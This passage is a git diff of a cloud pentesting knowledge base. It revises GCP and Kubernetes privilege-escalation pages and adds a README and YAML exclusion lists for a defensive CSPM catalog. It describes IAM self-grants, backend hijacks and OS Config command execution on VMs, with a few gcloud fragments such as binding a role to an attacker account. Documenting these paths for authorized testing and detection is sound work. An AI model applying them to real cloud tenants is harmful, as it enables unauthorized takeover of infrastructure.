gcloud deployment-manager deployments create "$DEPLOYMENT" \ --async ``` -`deploymentmanager.deployments.update` reaches the same deputy through an existing deployment. A raw update request can use a known current fingerprint without a preliminary read. The current `gcloud` helper still fetches the deployment before and after the update—even when `--fingerprint` and `--async` are supplied—so its permission footprint is broader. Preserve the deployment's existing resources in the replacement configuration; omitting them can modify or delete legitimate infrastructure.[[6]](#references) +`deploymentmanager.deployments.update` reaches the same deputy through an existing deployment. A raw update request can use a known current fingerprint without a preliminary read. The current `gcloud` helper still fetches the deployment before and after the update—even when `--fingerprint` and `--async` are supplied—so its permission footprint is broader. A replacement configuration that omits existing resources may otherwise delete them; the update API's `deletePolicy=ABANDON` can leave those resources running while removing them from Deployment Manager's control.[[6]](#references) ```bash FINGERPRINT="KNOWN_CURRENT_FINGERPRINT" diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md index 9c3c4151cd..13f5b7b2a6 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md @@ -56,7 +56,9 @@ The Firebase rows use the exact current REST method identifiers published by the ### Backend hijack — repoint source or runtime identity -`backends.update` can change the connected source repository/branch or the runtime service account of an existing backend, so future builds pull attacker-controlled code and/or run as a chosen identity. Combined with automatic rollouts on push, this turns the backend into a self-refreshing foothold that survives deletion of any single malicious rollout. +`backends.update` can change the connected source repository or the runtime service account of an existing backend, so future builds may pull attacker-controlled code and/or run as a chosen identity. Combined with automatic rollouts on push, this can turn the backend into a self-refreshing foothold that survives deletion of any single malicious rollout. + +The Backend REST `codebase` field names a Developer Connect repository link and optional root directory. It does not expose the live branch or automatic-rollout setting. A source-only escalation therefore needs manual confirmation that the replacement repository link is accepted, the attacker controls the live branch, automatic rollouts are enabled, the pushed files pass any rollout path filters, and the resulting build runs under the backend's service account. `backends.update` alone does not establish those facts. A caller with `builds.create` and `rollouts.create` on an existing backend has a separate deployment path described above. **Potential Impact:** Persistent, self-renewing control of the backend's code and identity, independent of a specific rollout. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md index 41be774bc3..5587c32edc 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md @@ -47,6 +47,8 @@ This does not grant Google Cloud IAM roles. It compromises the Firebase/Identity **Potential Impact:** application-account takeover and elevation to any role enforced through Firebase custom claims or mutable account attributes, bounded by the application's authorization logic. +An application-identity takeover requires an accepted change to a usable account, a later sign-in as that exact user, and a check that the signed-in account can perform an action the caller previously could not. Permission to update users alone does not establish that chain, so verify it manually. + **Stealth:** **High** — user reads and mutations are Identity Platform Data Access events, which are not written by default; password sign-in itself is explicitly listed as producing no audit log.
@@ -143,6 +145,8 @@ The function can return `sessionClaims` such as `{"admin": true}` for the curren **Potential Impact:** project-wide injection of privileged claims into subsequent supported sign-ins and conditional interception of federated IdP credentials. +An IdP identity takeover requires a later supported federated sign-in to send a usable credential to the controlled function and a separate check that the credential grants access the caller lacked. A project configuration change alone does not establish that chain, so verify it manually. + **Stealth:** **Medium** — the configuration change is always logged, but Identity Platform sign-in methods generally produce no audit event and the returned session claims need not persist in the user record.
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md index f90b534df4..52acf9c507 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md @@ -12,15 +12,15 @@ For more information about VPC & Networking access: ## Resource IAM self-grants -An **NCC hub also exposes its own resource-level IAM policy**, so `networkconnectivity.hubs.setIamPolicy` on a hub is a self-grant lever: a holder can grant themselves (or any principal) `roles/networkconnectivity.hubAdmin` **on that hub** and gain spoke-attachment / hub control without the project-level role. +An **NCC hub exposes its own IAM policy**. Google documents granting `roles/networkconnectivity.groupUser` on a hub to allow use of its group for spoke attachment. Do not assume a hub-level policy write can grant `roles/networkconnectivity.hubAdmin` or `networkconnectivity.hubs.update`: the [IAM role reference](https://cloud.google.com/iam/docs/roles-permissions/networkconnectivity) lists **Project** as the lowest grantable resource for `hubAdmin`. Claim hub update access from a hub-level binding only after an accepted mutation and an effective permission test. ```bash gcloud network-connectivity hubs add-iam-policy-binding \ - --member="user:attacker@example.com" --role="roles/networkconnectivity.hubAdmin" + --member="user:attacker@example.com" --role="roles/networkconnectivity.groupUser" ``` > [!TIP] -> A hub IAM policy can start empty; `add-iam-policy-binding` **adds the attacker → `roles/networkconnectivity.hubAdmin`** binding at the hub scope. `networkconnectivity.hubs.setIamPolicy`/`.getIamPolicy` are in both `roles/networkconnectivity.hubAdmin` and `roles/networkconnectivity.admin`. **Operational constraint:** a hub **cannot be deleted while a spoke is still attached** (`HUB_NESTED_RESOURCES` — delete the spoke first); spoke deletion is the top-level `gcloud network-connectivity spokes delete`, **not** under the `spokes linked-vpc-network` subgroup. +> A hub IAM policy can start empty. The [hub access guide](https://cloud.google.com/network-connectivity/docs/network-connectivity-center/how-to/vpc-give-access) shows `groupUser` on the hub. `networkconnectivity.hubs.setIamPolicy`/`.getIamPolicy` are in both `roles/networkconnectivity.hubAdmin` and `roles/networkconnectivity.admin`. **Operational constraint:** a hub **cannot be deleted while a spoke is still attached** (`HUB_NESTED_RESOURCES` — delete the spoke first); spoke deletion is the top-level `gcloud network-connectivity spokes delete`, **not** under the `spokes linked-vpc-network` subgroup. **`networkconnectivity.groups.setIamPolicy` — group-scoped self-grant of the spoke-attach / cross-project-accept gate.** Beyond the hub, each hub's auto-created **group** (`default`) exposes its **own** resource-level IAM policy (`gcloud network-connectivity hubs groups get-iam-policy|set-iam-policy|add-iam-policy-binding --hub=`). Because the group is where `groups.use` (attach a spoke) and `groups.acceptSpoke`/`rejectSpoke` (cross-project acceptance) actually live, `groups.setIamPolicy` on a group is a **finer-grained self-grant than the hub-level one**: the holder can grant themselves `roles/networkconnectivity.groupUser` (→ `groups.use`, the exact perm `spokeAdmin` lacks) or `roles/networkconnectivity.groupAdmin` (→ `groups.use` + `groups.acceptSpoke`/`acceptSpokeUpdate`/`rejectSpoke` + `groups.setIamPolicy`) **scoped to that single group**, obtaining the spoke-attach + cross-project-graft gate without any hub-level role. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md index ab2e960c18..9a58ce63e6 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md @@ -41,7 +41,7 @@ gcloud compute os-config patch-deployments create "" \ `roles/osconfig.patchJobExecutor` contains the one-shot permission. The separate GA `roles/osconfig.patchDeploymentAdmin` contains patch-deployment create/update permissions. Although that role also contains `osconfig.patchDeployments.execute`, the current public v1 REST and GA `gcloud` surfaces do not expose a manual execute method, so that permission is not presented as a separate primitive. -**Minimum permissions and prerequisites:** `osconfig.patchJobs.exec` for the one-shot request; `osconfig.patchDeployments.create` for a new schedule; or `osconfig.patchDeployments.update` on an existing deployment. OS Config and VM Manager's full patch/config feature set must be enabled, and the project service agent must hold `roles/osconfig.serviceAgent`. Each same-project target must be running, patch-supported, have an active OS Config agent, have an attached service account, and be able to reach the OS Config service. The patch feature must not be disabled. A Cloud Storage step adds an independent artifact prerequisite: the exact generation must exist and be readable by the target VM. For a private object, the attached VM service account needs `storage.objects.get` and a compatible OAuth scope; alternatively, an already-controlled local path or legitimately public object avoids that private-object grant. A single patch job targets at most 500 VMs, and managed-instance-group VMs require the explicit MIG option. +**Minimum permissions and prerequisites:** `osconfig.patchJobs.exec` for the one-shot request; `osconfig.patchDeployments.create` for a new schedule; or `osconfig.patchDeployments.update` on an existing deployment. OS Config and VM Manager's full patch/config feature set must be enabled. Patch creates its project service agent with `roles/osconfig.serviceAgent` when first used; if that role was later revoked, patch jobs can fail. Each same-project target must be running, patch-supported, have an active OS Config agent, have an attached service account, and be able to reach the OS Config service. The patch feature must not be disabled. A Cloud Storage step adds an independent artifact prerequisite: the exact generation must exist and be readable by the target VM. For a private object, the attached VM service account needs `storage.objects.get` and a compatible OAuth scope; alternatively, an already-controlled local path or legitimately public object avoids that private-object grant. A single patch job targets at most 500 VMs, and managed-instance-group VMs require the explicit MIG option. **Potential Impact:** Execute with the OS privileges of the OS Config agent on each successfully targeted VM—normally `root` on standard Linux images or `LocalSystem` on standard Windows images. This can expose local secrets and the attached workload identity. It does not bypass inactive agents, unsupported operating systems, artifact-read failures, instance filters, service-account IAM, or VM access scopes. A scheduled deployment can repeat the execution, but only in the deployment's project and filter. @@ -103,9 +103,9 @@ gcloud compute os-config os-policy-assignments create "${ASSIGNMENT_ID}" \ --async ``` -`roles/osconfig.osPolicyAssignmentAdmin` can create or update assignments. `roles/osconfig.osPolicyAssignmentEditor` cannot create one, but its update permission is sufficient to replace a known existing assignment with a malicious revision. +`roles/osconfig.osPolicyAssignmentAdmin` can create or update assignments. `roles/osconfig.osPolicyAssignmentEditor` grants update but not create. The v1 `patch` method accepts `allowMissing=true`: if the named assignment does not exist, the method creates it, and its documented IAM check is `osconfig.osPolicyAssignments.update` on that name. A conditioned grant still has to match the chosen assignment name. -**Minimum permissions and prerequisites:** `osconfig.osPolicyAssignments.create` for a new assignment or `osconfig.osPolicyAssignments.update` on an existing one. VM Manager's full patch/config feature set must be enabled, and matching VMs in that assignment's single zone must have a running, activated OS Config agent, an attached service account, service connectivity, and a compatible OS/resource group. The inline example only matches Linux; Windows execution requires a `POWERSHELL` resource group. No `iam.serviceAccounts.actAs`, SSH, OS Login, Compute metadata permission, or artifact-bucket permission is part of the assignment request. +**Minimum permissions and prerequisites:** `osconfig.osPolicyAssignments.create` for a new assignment, or `osconfig.osPolicyAssignments.update` on a named existing assignment or a new name through `patch` with `allowMissing=true`. VM Manager's full patch/config feature set must be enabled, and matching VMs in that assignment's single zone must have a running, activated OS Config agent, an attached service account, service connectivity, and a compatible OS/resource group. The inline example only matches Linux; Windows execution requires a `POWERSHELL` resource group. No `iam.serviceAccounts.actAs`, SSH, OS Login, Compute metadata permission, or artifact-bucket permission is part of the assignment request. **Potential Impact:** Privileged command execution on matching VMs in one zone, normally as `root`/`LocalSystem` on standard agent installations. An enforcement assignment is also durable desired state and can reapply after drift or to later-matching VMs. The boundary is the assignment zone/filter and active-agent population; access through an attached service account remains bounded by its IAM grants and VM scopes. @@ -236,6 +236,7 @@ protoPayload.methodName="google.cloud.osconfig.v2.PolicyOrchestratorService.Crea - [Create patch jobs and patch-step requirements](https://docs.cloud.google.com/compute/vm-manager/docs/patch/create-patch-job) - [OS policy and OS policy assignment](https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/working-with-os-policies) - [Create an OS policy assignment](https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/create-os-policy-assignment) +- [OS policy assignment patch and `allowMissing`](https://docs.cloud.google.com/compute/docs/osconfig/rest/v1/projects.locations.osPolicyAssignments/patch) - [Create a legacy guest policy](https://docs.cloud.google.com/compute/vm-manager/docs/guest-policies/create-guest-policy) - [Compare GA OS policies and legacy guest policies](https://docs.cloud.google.com/compute/vm-manager/docs/guest-policies/comparing_policy_options) - [About policy orchestrator](https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/about-policy-orchestrator) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md b/src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md index 790c0ad581..4a01fd6d40 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md @@ -4,6 +4,10 @@ This page groups existing RBAC-abuse techniques by the Kubernetes permission boundary they cross. For discovery and effective-permission checks, use [the matching enumeration page](../kubernetes-enumeration/controller-and-admission-objects.md) and [the enumeration hub](../kubernetes-enumeration.md#get-my-current-permissions). The [privilege escalation hub](./) maps the other permission families. Run mutation examples only in an authorized lab and check admission and the target identity before claiming impact. +## Config Connector service account keys + +An in-cluster ServiceAccount with `create` on `iamserviceaccountkeys.iam.cnrm.cloud.google.com` in a namespace watched by Config Connector can ask the controller to create a key for a Google service account. The caller can read the generated Secret or key-resource status when its RBAC allows it. It can also supply an X.509 public key whose private key it already holds; that route does not need Secret read. The controller's configured Google service account needs key-creation and lifecycle rights on the exact target account, and the matching key-creation or key-upload organization policy must allow the request. Admission, a conflicting resource name, and reconciliation can still block it. See the [Config Connector key technique](../../gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kcc-iamserviceaccountkey-plus-secret-read--mint-a-long-lived-key-for-a-more-privileged-service-account) for the resource fields and Google Cloud prerequisites. + ## Operator custom-resource confused deputy The SiteBuild example proves controller-created code execution, but does not identify a gained principal or permission. See [operator custom-resource execution](../kubernetes-post-exploitation/controller-data-and-network-effects.md#operator-custom-resource-confused-deputy). An exact identity or permission gain needs separate runtime evidence. diff --git a/src/privilege-escalation-paths-cspm-reviewed/README.md b/src/privilege-escalation-paths-cspm-reviewed/README.md new file mode 100644 index 0000000000..35f7f8e898 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/README.md @@ -0,0 +1,53 @@ +# Reviewed privilege escalation paths for CSPM + +{{#include ../banners/hacktricks-training.md}} + +This directory is the reviewed machine-readable technique set consumed by [Blue-CloudPEASS](https://github.com/peass-ng/PEASSo-CSPM). It is separate from the broader `src/privilege-escalation-paths` research catalog so new research stays available without creating unreviewed CSPM checks. Each active entry links to its HackTricks source page. Consumers fetch and validate this reviewed set weekly. + +## Layout + +There is one directory per platform and one YAML file per service, mirroring the HackTricks privilege-escalation pages: `aws/`, `gcp/`, `azure/` (including Entra ID) and `k8s/` (Kubernetes and OpenShift). For example `gcp/iam.yaml` holds the techniques documented in `gcp-iam-privesc.md`. One file per service keeps reviews small, avoids merge conflicts between contributors, and lets a page and its catalog file be updated in the same pull request. + +- `.yaml` is a YAML list of technique entries. +- `_excluded*.yaml` lists HackTricks techniques that were reviewed and intentionally not modelled as principal-to-principal edges (`source`, `technique`, `reason`), so reviewers can tell "not modelled" from "missed". +- `_todo.yaml` holds commented-out notes for techniques still being written. +- Comments are preserved verbatim by the consumers; use them for per-file modelling conventions. + +## Entry format + +The authoritative validator is `peaso/privesc/schema.py` in Blue-CloudPEASS; its JSON Schema is published next to this file as [`privesc-technique.schema.json`](privesc-technique.schema.json) for editor completion and quick checks. + +| Field | Required | Meaning | +| --- | --- | --- | +| `id` | yes | Unique kebab-case id prefixed by the provider (`aws-`, `gcp-`, `azure-`/`entra-`, `k8s-`). Never reuse or rename an id. | +| `provider` | yes | `aws`, `gcp`, `azure` or `k8s`; must match the directory. | +| `service` | yes | Service the technique abuses (usually the file name). | +| `title` | yes | Short description of the escalation. | +| `source` | yes | HackTricks Cloud page and heading anchor, `src/...md#anchor`. The page and anchor must exist. | +| `source_revision` | no | Book revision the source was verified against. | +| `summary` | yes | One or two sentences: what the source gains. No commands or how-to steps. | +| `requires` | yes | `all_of` (every requirement) and/or `any_of` (list of alternative requirement lists). Each requirement names an `action` (permission) and the `resource` it must cover, using placeholders such as `{target.arn}` or `{target.email}`. | +| `target` | yes | `kind` of the principal or entity gained, optional `selector` limiting candidate targets, `scope` and `aggregate_as` label. | +| `severity` | yes | `critical`, `high`, `medium`, `low` or `info`. | +| `mitigation` | yes | How defenders remove or constrain the path. | +| `confidence` | no | `derived`, `conditional` or `unknown`. | +| `conditions` | no | Facts the snapshot cannot prove (each with `id` and `description`); they make an edge conditional. | +| `blockers` | no | Controls that remove the edge when present (SCPs, deny policies, admission policies...). | +| `preconditions`, `source_kind`, `source_selector`, `pivot_resource_type` | no | Advanced modelling fields; see the schema. | +| `references`, `notes` | no | Extra URLs and reviewer notes. | + +Unknown fields, unknown selector keys, unsupported target kinds or placeholders, and shell commands in prose are rejected (or flagged) because the evaluator would not understand them. + +## Contributing + +1. Document the technique on its HackTricks page first, under its own heading, and use that heading anchor as `source`. +2. Add or update the entry in `/.yaml` (create the file if the service has none yet). +3. Validate with a Blue-CloudPEASS checkout and PyYAML installed: + `python /path/to/Blue-CloudPEASS/scripts/sync_hacktricks_privesc.py --book-root . --validate-only` +4. Open a pull request. Removing an entry or changing its `id` needs a reviewed ledger entry in the consumer, so prefer fixing an entry over deleting it, and explain removals in the pull request. + +## Synchronization + +Every Monday Blue-CloudPEASS checks out the current `master` of this book, validates this directory, and compares SHA-256 hashes with the manifest recorded at its previous sync (`risk_rules/hacktricks-privesc-source.json`). Files changed only here are copied byte for byte; files changed only in the consumer are kept until they are upstreamed; files changed on both sides fail the sync for a human to resolve. Entries are never dropped from the consumer unless a reviewed ledger accepts the removal. Unrelated book commits produce no consumer commit. + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g1.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g1.yaml new file mode 100644 index 0000000000..4034db2a16 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g1.yaml @@ -0,0 +1,33 @@ +# AWS G1 review at 171e422299 (identity/org/billing pages): headings intentionally NOT modelled as privesc edges. +# Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#no-direct-iam-role-escalation-primitive + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#no-direct-iam-role-escalation-primitive + technique: "Invoicing and Billing has no role-escalation primitive" + reason: "Not a privesc: the page states the Invoicing and Billing APIs take no execution role, need no iam:PassRole and return no AWS credentials; their effects are financial-data disclosure and billing changes." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#turn-cost-view-administration-into-cross-account-disclosure + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#turn-cost-view-administration-into-cross-account-disclosure + technique: "Share a custom Billing view through AWS RAM" + reason: "Not a privesc: cross-account disclosure of cost-and-usage data; the recipient gains no role or IAM authority and must accept a RAM invitation." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#enable-previously-granted-legacy-billing-permissions + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#enable-previously-granted-legacy-billing-permissions + technique: "billing:UpdateIAMAccessPreference" + reason: "Not a privesc: activates Billing permissions that identities already hold in IAM (invoice, credit, payment and preference access); it grants no new policy and no IAM or role authority." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#abuse-invoice-receiver-delegation + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#abuse-invoice-receiver-delegation + technique: "invoicing:CreateInvoiceUnit receiver delegation" + reason: "Not a privesc: lets an eligible member account download the unit's invoice documents; it grants no access to other AWS APIs or payer-account resources." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#the-billing-service-linked-role-is-not-a-general-escalation-target + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#the-billing-service-linked-role-is-not-a-general-escalation-target + technique: "AWSServiceRoleForBilling" + reason: "Not a privesc: the service-linked role only allows billing:GetBillingViewData, is trusted only by billing.amazonaws.com and cannot be edited or attached to other identities." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#related-actions-that-amplify-business-impact-not-iam-authority + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#related-actions-that-amplify-business-impact-not-iam-authority + technique: "billing:PutResourcePolicy, billing:UseSourceView, invoicing:GetInvoicePDF, invoicing:GetProcurementPortalPreference, billing:UpdateBillingPreferences" + reason: "Not a privesc: the page lists these as financial or governance impact (billing-view sharing, invoice URLs, a procurement-integration secret, credit allocation), not IAM authority." + source_revision: fd7d56b0a9 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g7.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g7.yaml new file mode 100644 index 0000000000..6a98a59da5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g7.yaml @@ -0,0 +1,87 @@ +# G7 heading-level exclusions verified against hacktricks-cloud 171e422299. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#invoke-a-privileged-flow-without-direct-lambda-or-lex-permission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-privesc/README.md#invoke-a-privileged-flow-without-direct-lambda-or-lex-permission + technique: connect:StartChatContact against a privileged contact flow + reason: "App-plane only: the flow invokes its Lambda/Lex integrations under their own roles and returns only what the flow logic exposes; the page states it does not grant arbitrary use of the Lambda role." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-customer-profiles-post-exploitation/README.md#createintegrationworkflow--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-customer-profiles-privesc/README.md#createintegrationworkflow--iampassrole + technique: profile:CreateIntegrationWorkflow + iam:PassRole + reason: "Not a privesc: bounded service delegation; Customer Profiles uses the passed role only to create AppFlow-backed integration resources, with no credentials or arbitrary actions under the role." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-customer-profiles-post-exploitation/README.md#createsegmentsnapshot--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-customer-profiles-privesc/README.md#createsegmentsnapshot--iampassrole + technique: profile:CreateSegmentSnapshot + iam:PassRole + reason: "Not a privesc: bounded data delivery; the passed role only writes the segment export to the chosen S3 destination (data exfiltration, not principal escalation)." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-customer-profiles-post-exploitation/README.md#associatestreamforsegments--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-customer-profiles-privesc/README.md#associatestreamforsegments--iampassrole + technique: profile:AssociateStreamForSegments + iam:PassRole + reason: "Not a privesc: bounded data delivery; the passed role only puts segment-membership records into the chosen Kinesis stream." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-twinmaker-post-exploitation/README.md#connector-invocation-without-direct-lambda-permission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-twinmaker-privesc/README.md#connector-invocation-without-direct-lambda-permission + technique: iottwinmaker:CreateComponentType + CreateEntity / GetPropertyValue + reason: "App-plane only: TwinMaker invokes the nominated Lambda connector, which runs with its own execution role and exposes only what its code returns; the page states no generic role credentials are obtained." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-twinmaker-post-exploitation/README.md#updateworkspace--iampassrole--connector-control + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-twinmaker-privesc/README.md#updateworkspace--iampassrole--connector-control + technique: iottwinmaker:UpdateWorkspace + iam:PassRole + reason: "Not a privesc: bounded service delegation; the workspace role is used only for connector invocation and supported data sources, and the page states changing it does not expose its credentials." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivscreatestreamkey-on-stream-key---publish-to-another-channel + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivscreatestreamkey-on-stream-key---publish-to-another-channel + technique: ivs:CreateStreamKey + reason: "App-plane only: a stream key is a media-plane publishing credential for a channel, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivsgetstreamkey-or-ivsgetingestconfiguration---convert-a-read-into-publishing-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivsgetstreamkey-or-ivsgetingestconfiguration---convert-a-read-into-publishing-access + technique: ivs:GetStreamKey / ivs:GetIngestConfiguration + reason: "App-plane only: disclosure of a media-plane publishing credential, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivscreateparticipanttoken---mint-stage-publishsubscribe-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivscreateparticipanttoken---mint-stage-publishsubscribe-access + technique: ivs:CreateParticipantToken + reason: "App-plane only: stage participant tokens grant media publish/subscribe, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivsimportpublickey---sign-tokens-for-stages-account-wide + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivsimportpublickey---sign-tokens-for-stages-account-wide + technique: ivs:ImportPublicKey + reason: "App-plane only: lets the caller sign stage participant tokens offline; media-plane access, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivsimportplaybackkeypair---bypass-private-channel-playback-decisions + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivsimportplaybackkeypair---bypass-private-channel-playback-decisions + technique: ivs:ImportPlaybackKeyPair + reason: "App-plane only: private-channel playback authorization tokens, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivsstartcomposition---send-a-stage-to-an-unauthorized-channel + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivsstartcomposition---send-a-stage-to-an-unauthorized-channel + technique: ivs:StartComposition + reason: "App-plane only: routes stage media to a channel; content injection, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lex-v2-post-exploitation/README.md#lexcreatebotlexupdatebot--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lex-v2-privesc/README.md#lexcreatebotlexupdatebot--iampassrole + technique: lex:CreateBot / lex:UpdateBot + iam:PassRole + reason: "Not a privesc: bounded service delegation; the bot role is used by Lex only for configured features (Lambda hooks, Kendra queries, logs), and the page states passing it does not return credentials." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lex-v2-post-exploitation/README.md#existing-hook-as-a-confused-business-authority-boundary + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lex-v2-privesc/README.md#existing-hook-as-a-confused-business-authority-boundary + technique: lex:RecognizeText / PutSession / StartConversation on a bot alias + reason: "App-plane only: reaches the business logic of an existing fulfillment Lambda, which keeps its own execution role; the page states it does not grant generic control of that role." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-blockchain-post-exploitation/README.md#invite-an-attacker-account-into-a-hyperledger-fabric-network + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-blockchain-privesc/README.md#invite-an-attacker-account-into-a-hyperledger-fabric-network + technique: managedblockchain:CreateProposal + VoteOnProposal + reason: "App-plane only: yields an attacker-owned Fabric consortium member, not an AWS principal in either account (the page states it is not elevation to AWS administrator)." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-grafana-post-exploitation/README.md#grafanaupdateworkspace--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#grafanaupdateworkspace--iampassrole + historical_source_revision: 171e422299 + technique: grafana:UpdateWorkspace + iam:PassRole + reason: "Not a privesc: bounded service delegation; the workspace role only mediates Grafana data-source and notification queries, and the page states it does not return IAM credentials." + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrcreatedataretentionbotchallenge--take-over-the-data-retention-bot + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-wickr-privesc/README.md#wickrcreatedataretentionbotchallenge--take-over-the-data-retention-bot + technique: wickr:CreateDataRetentionBotChallenge + reason: "App-plane only: the challenge authenticates a data-retention bot that receives message copies; messaging data access, not an AWS principal or an application administrator." + source_revision: f2aa915198 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml new file mode 100644 index 0000000000..7db6162a23 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml 